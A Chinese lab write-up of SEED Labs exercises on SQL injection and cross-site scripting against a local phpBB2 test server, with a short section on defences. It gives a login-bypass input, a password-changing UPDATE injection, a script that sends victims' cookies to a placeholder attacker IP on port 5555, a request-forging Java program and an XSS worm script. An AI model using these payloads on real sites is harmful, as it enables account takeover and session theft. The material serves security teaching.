SQL注入实践
环境需求
vmware镜像SEEDUbuntu9-Aug-2010
。下载地址http://www.cis.syr.edu/ ̃wedu/seed/
实验准备
启动Apache服务器:
使用URL:http://www.sqllabmysqlphpbb.com访问thephpBB2server(需要首先启动apache服务器):
Web应用程序的源代码位于:
/var/www/SQL/SQLLabMysqlPhpbb/
可以通过把以下内容添加到/etc/hosts 文件来建议一个域名映射:
127.0.0.1 www.example.com
因此,如果你的Web服务器和浏览器在两台不同的计算机上运行,则需要相应地修改浏览器计算机上的/etc/hosts文件以将www.sqllabmysqlphpbb.com映射到相应Web服务器的IP地址。
PHP提供了一种自动防御SQL注入攻击的机制。 该方法称为magic quote,更多细节将在Task 3中引入。让我们首先关闭这个保护(这个保护方法在PHP 5.3.0之后已经弃用):
- Go to/etc/php5/apache2/php.ini.
- Find the line:magicquotesgpc = On.
- Change it to this:magicquotesgpc = Off.
- Restart the apache server by running"sudo service apache2 restart".
文件修改:
select注入
用户输入用户名和密码后,登录.phpprogram将使用用户提供的数据来确定它们是否与数据库中任何记录的用户名和用户密码字段匹配。 如果匹配,则表示用户提供了正确的用户名和密码组合,应该允许登录。 与大多数其他Web应用程序一样,PHP程序使用标准SQL语言与其后端数据库进行交互。 对于phpBB2,在login.php中构造以下SQL查询来验证用户:
SELECT user_id, username, user_password, user_active, user_level,user_login_tries, user_last_login_try
FROM USERS_TABLE
WHERE username = ’$username’ AND user_password = ’md5($password)’;
if (found one record)
then {allow the user to login}
在上面的SQL语句中,USERSTABLE是php中的宏,它将被用户名称替换为:phpbbusers,$ username是一个变量,用于保存在Usernametextbox中键入的字符串,$ password是一个变量,用于保存在thePasswordtextbox中键入的字符串。 用户在这两个文本框中的输入直接放在SQL查询字符串中。
sql注入原理就在于此,通过字符串的直接插入,灵活运用单引号'
和注释符号#
可以做到一定程度上修改sql查询。
在首页上可以获得用户名信息:
通过在用户名位置输入
alice' #
完成攻击,在不用输入密码的情况下完成登录:
update 语句注入
在不知道他/她的密码的情况下更改其他用户的个人资料。 例如,如果你以Alice身份登录,则你的目标是使用此漏洞修改Ted的个人资料信息,包括Ted的密码。 攻击发生后,你应该能够登录Ted的帐户。
在profile页面修改个人信息,想办法造成一个sql语法错误,如在某位置输入:a`,会返回sqldebug信息:
同时我们发现ted是新注册的用户,点击memlist发现url最后的数字6,猜测ted的uid为6,在profile最后位置(防止注释掉修改密码的语句)输入如下语句:
a' where user_id = 6#
同时在current password 位置输入alice的密码,下面新密码为更新内容,输入想给ted设置的密码即可。
对抗sql注入
本例中有效方法是我们之前关闭的magic,将它打开。
比较通用的方法总结如下:
- escape处理。
- 一般会用到两个函数mysql_real_escape_string()和addslashes()
- mysql_real_escape_string()函数会转义:' " \r \n NULL Control-Z
- addslashes()函数会转义:' " 反斜线和NULL。
- 使用预编译语句,绑定变量,这是防御sql注入的最佳方式。
- 使用存储过程,尽量避免在存储过程中使用动态的SQL语句。
- 检查数据类型
- 使用安全函数
xss攻击实验
环境要求
同上
实验准备
启动Apache服务器,同上。
配置DNS,同上。
发布恶意消息以显示警报窗口
此任务的目的是发布包含JavaScript的恶意消息以显示警报窗口。应在消息中提供JavaScript以及用户注释。 以下JavaScript将显示一个警告窗口: alert('XSS'); </ script>
如果您在留言板中发布此JavaScript以及您的评论,那么查看此评论的任何用户都将看到警报窗口。
发布恶意回复:
显示警告窗口:
发布恶意消息以显示Cookie
此任务的目的是在包含JavaScript代码的留言板上发布恶意消息,这样每当用户查看此消息时,将打印出用户的cookie。 例如,考虑以下包含JavaScript代码的消息:
<script>alert(document.cookie);</script>
Hello Everybody,Welcome to this message board.
弹出cookie信息
从受害者的机器窃取cookie
在上一个任务中,恶意的JavaScript代码可以打印出用户的cookie; 在此任务中,攻击者需要JavaScript代码将cookie发送给他/她自己。 为此,恶意JavaScript代码可以向攻击者发送HTTP请求,并将cookie附加到请求中。 我们可以通过恶意JavaScript将标记带有srcset插入到攻击者目标的URL中来实现这一点。当JavaScript插入img标记时,浏览器会尝试从提到的URL加载图像,并且过程最终会发送HTTP GET请求攻击者网站。 下面给出的JavaScript将cookie发送到攻击者机器上提到的端口5555。 在特定端口上,攻击者有一个TCP服务器,它只打印出它收到的请求。 TCP服务器程序将由您提供(可在本实验的网站上获得):
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c='+ escape(document.cookie) + ' >'); </script>
This script is to test XSS. Thanks.
使用偷来的cookie冒充受害者
在窃取受害者的cookie后,攻击者可以做任何受害者可以对theppBBweb服务器做的事情,包括在受害者的名字中发布新消息,删除受害者的帖子等。在这个任务中,我们将编写一个程序来伪造一个消息帖子代表受害者。要发布消息帖,我们首先要分析howphpBBworks的发布消息。 更具体地说,我们的目标是找出用户发布消息时发送到服务器的内容。 Firefox的LiveHTTPHeadersextension可以帮助我们; 它可以显示从浏览器发送的任何HTTP请求消息的内容。 从内容中,我们可以识别消息的所有参数。LiveHTTPHeadersextension可以从http://livehttpheaders.mozdev.org/下载,它已经安装在预构建的UbuntuVMimage中。一旦我们了解了消息发布的HTTP请求是什么样的,我们可以编写一个Java程序来发送它 HTTP请求。 ThephpBBserver无法区分请求是由用户的浏览器还是由攻击者的Java程序发出的。 只要我们正确设置所有参数,服务器就会接受并处理发布消息的HTTP请求。 为了简化您的任务,我们为您提供了一个示例Java程序,它执行以下操作:
- 打开与Web服务器的连接。
- 设置必要的HTTP头信息。
- 将请求发送到Web服务器。
- 从Web服务器获取响应。
代码如下:
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
URL url = new URL ("http://www.xsslabphpbb.com/profile.php");
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
String data="username=admin&seed=admin%40seed.com";
urlConn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
if (responseCode == HttpURLConnection.HTTP_OK) {
responseIn = urlConn.getInputStream();
BufferedReader buf_inp = new BufferedReader(new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
编写XSS蠕虫
该项目应该做到以下几点:
- 使用JavaScript检索用户的会话ID。
- 伪造HTTP post请求以使用会话ID发布消息
代码:
<script>
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var content="subject=" + "XSSWorm" + ...;
Ajax.send(content);</script>
编写自传播XSS蠕虫
在上一个任务中构建的蠕虫只是代表受害者发出信息; 它不会传播自己。 因此,从技术上讲,它不是蠕虫。 为了能够传播自己,伪造的消息还应该包含蠕虫,因此每当有人点击伪造的消息时,就会创建携带相同蠕虫的新伪造消息。 这样,蠕虫就可以传播。 单击伪造消息的人越多,蠕虫传播的速度就越快。
需要我们注意的是,一切对于攻击技术的研究都是为了更好地防范未知的威胁,而不应被用作恶意用途。
案例分析:实际的网页木马攻击场景
书中给出的网站上是诸葛建伟老师实验室的成员介绍,该网站可能没有这个用途了吧。